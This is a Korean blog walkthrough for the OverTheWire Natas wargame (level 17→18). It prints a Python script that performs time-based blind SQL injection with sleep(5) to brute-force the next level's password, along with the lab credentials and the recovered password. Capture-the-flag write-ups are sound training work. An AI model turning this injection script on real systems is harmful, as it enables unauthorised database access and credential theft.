728x90
http://natas17.natas.labs.overthewire.org/index.php
natas17/8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw 로 로그인
소스코드를 살펴보자.
바로 전 단계와 비슷하지만, echo를 막아두었기 때문에 어떤 username이 존재하는지 알 수 없다.
time based sql injection를 활용해, 쿼리문이 정상적으로 작동하면 sleep이 걸리게 해서 패스워드를 찾아내야 할 것 같다.
파이썬으로 작성한 자동화 코드는 아래와 같다.
import socket
import time
for idx in range(1,33):
for ch in range(48,123):
if 58 <= ch <= 64: continue
if 91 <= ch <= 96: continue
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(("176.9.9.172",80))
header = "GET /index.php"
header += "?username=natas18\"%20and%20ord(mid(password,+"+str(idx)+",1))="+str(ch)+"%20and%20sleep(5)%23 "
header += "HTTP/1.1\r\n"
header += "Authorization:Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw==\r\n"
header += "Host:natas17.natas.labs.overthewire.org\r\n"
header += "\r\n"
response = " "
start = time.time()
sock.send(header.encode())
response = sock.recv(65535)
end = time.time() - start
response = response.decode()
if int(end) == 5:
print(chr(ch), end='', flush=True)
sock.close()
break;
sock.close()
print()
아래는 실행 결과다.
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
728x90
'WEB > Natas' 카테고리의 다른 글
[Natas] Level 18 → Level 19 (0) | 2021.06.25 |
---|---|
[Natas] Level 17 → Level 18 (0) | 2021.06.24 |
[Natas] Level 15 → Level 16 (0) | 2021.06.24 |
[Natas] Level 14 → Level 15 (0) | 2021.05.28 |
[Natas] Level 13 → Level 14 (0) | 2021.05.28 |